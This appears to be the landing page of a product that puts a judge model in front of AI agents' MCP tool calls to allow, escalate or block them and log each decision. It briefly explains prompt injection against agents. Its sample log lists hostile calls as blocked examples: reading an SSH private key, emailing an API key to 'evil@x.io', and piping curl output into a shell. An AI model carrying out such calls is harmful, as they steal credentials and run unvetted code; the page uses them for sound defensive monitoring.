Every agent tool call,
judged before it runs.
Inspects every MCP tool call, blocks the malicious ones, and logs the evidence. Hosted or in your VPC.
10,000 decisions free every month. No card.
Agents act. Most teams find out what they did afterwards.
Tools are the blast radius
Search, files, shell, mail. The moment an agent can act, every tool it holds becomes part of your attack surface.
The gap is the audit trail
After an incident the question is always which call did it. Application logs were never built to answer it.
One call is enough
Prompt injection does not argue with your agent. It hands it an instruction that looks legitimate, and the tool runs.
From tool call to decision in one hop.
- 1
Route
Agent tools go through a guard endpoint instead of calling MCP servers directly. One config change per agent, nothing to rebuild.
- 2
Compile
Allow, escalate and block rules per tool and per argument pattern compile into a deterministic policy. Not a prompt. A policy.
- 3
Judge
A judge model reads each call against the policy. Benign calls pass, ambiguous calls escalate, violations are blocked before execution.
- 4
Record
Every decision is logged with the tool call, the class and the outcome. Export it, or pull it for compliance evidence.
{
"tool": "export",
"args": { "target": "s3://unknown-bucket" },
"policy": "no_external_export",
"class": "pii-leak",
"decision": "block",
"latency_ms": 640,
"evidence": "stored"
}Cold evaluations run up to 5.5s. Warm traffic answers in 0.3-1.5s. This is the artifact an incident review reads afterwards.
| Hosted | Relay in our infrastructure. Fastest start, nothing to operate. |
| Hosted, your judge key | Same relay, decisions made with a judge key that only you hold. |
| Self-hosted | The same image in your VPC. No third party in the request path. |
one frame of the watchtower — calls in, verdicts out
A record of every call, in your hands.
Filter by class or outcome. Pull it, export it, or keep it where the rest of your evidence lives. Retained from 7 days on Free to 12 months on Business.
| tool call | class | agent | decision |
|---|---|---|---|
| search_docs(rate limits) | baseline | ops-agent | ● allow |
| read_file(~/.ssh/id_rsa) | tool-misuse | research-bot | ◼ block |
| send_email(api_key, evil@x.io) | prompt-injection | research-bot | ◼ block |
| send_report(draft) | baseline | ops-agent | ● allow |
| export(users.csv, s3://unknown) | pii-leak | research-bot | ◼ block |
| exec(curl backup.internal | sh) | policy-violation | deploy-bot | ▲ escalate |
example records from our internal test runs
Measured, versioned, and stated without decoration.
Internal figures from the calibration suite, updated as versions ship. We label them internal because that is what they are.
Against our labeled adversarial set, routed by attack class. The calibration is finalised and versioned.
In the internal red-team pass, every probe was blocked or escalated.
Cold path runs up to 5.5s. Stated plainly, because you will measure it anyway.
One credit covers three thousand judged calls, so overage math stays boring.
Priced by decisions, capped by default.
Every paid plan carries a spend cap on overage, switched on from day one. When the cap is reached the guard answers 429, not an invoice.
- Decisions included
- 10,000
- Overage per 1,000
- -
- Spend cap on overage
- Not needed
- Decision log
- 7 days
- Environments
- 1
- Compliance export
- -
- Judge
- Bundled
- Support
- Community
- Decisions included
- 250,000
- Overage per 1,000
- $0.40
- Spend cap on overage
- 250 credits, adjustable
- Decision log
- 90 days
- Environments
- 1
- Compliance export
- Yes
- Judge
- Bundled or your key
- Support
- Decisions included
- 2,000,000
- Overage per 1,000
- $0.25
- Spend cap on overage
- 250 credits, adjustable
- Decision log
- 12 months
- Environments
- 3
- Compliance export
- Yes
- Judge
- Bundled or your key
- Support
- Priority
Self-hosted, inside your own network
The same container image with a signed license, annual per environment, alongside the main platform's enterprise terms. The license enforces expiry and signature. Your seat count is never metered off your network.
Questions we get from engineers.
01What exactly sits in the request path?+
An HTTP endpoint your agent calls instead of the MCP server directly. The guard evaluates the call and either forwards it, holds it for a human, or refuses it. If the guard cannot evaluate a call it returns 503 and the call does not execute.
02Does the judge model see our tool calls?+
On the hosted tier, yes: the call and the policy context go to the judge to produce a decision. On the BYOK tier your judge key is used and only you hold it. On the self-hosted tier nothing leaves your network at all.
03What happens when the guard is down or wrong?+
Fail behaviour is explicit: an unevaluable call is a 503, never a silent pass. Rate limits and the spend cap return 429. If a decision is wrong you can see exactly which rule or signal produced it in the decision record.
04How do rules get written?+
As rules, in a small deterministic language, per tool and per argument pattern. They compile into policy you can version and review. The judge never invents policy at runtime.
05Can we run it ourselves?+
Yes. Self-hosted runs the same container image with a signed license, in your own VPC, with your own database. Talk to us for a license and deployment notes.
06How does billing count?+
Per decision, per calendar month. The relay counts each evaluation once, reported decisions count once each, and retries never double-count. Overages bill at the plan rate against a spend cap you control.
Put the guard in front of your tools.
10,000 decisions a month are free. Point one agent at the endpoint and watch the log fill up.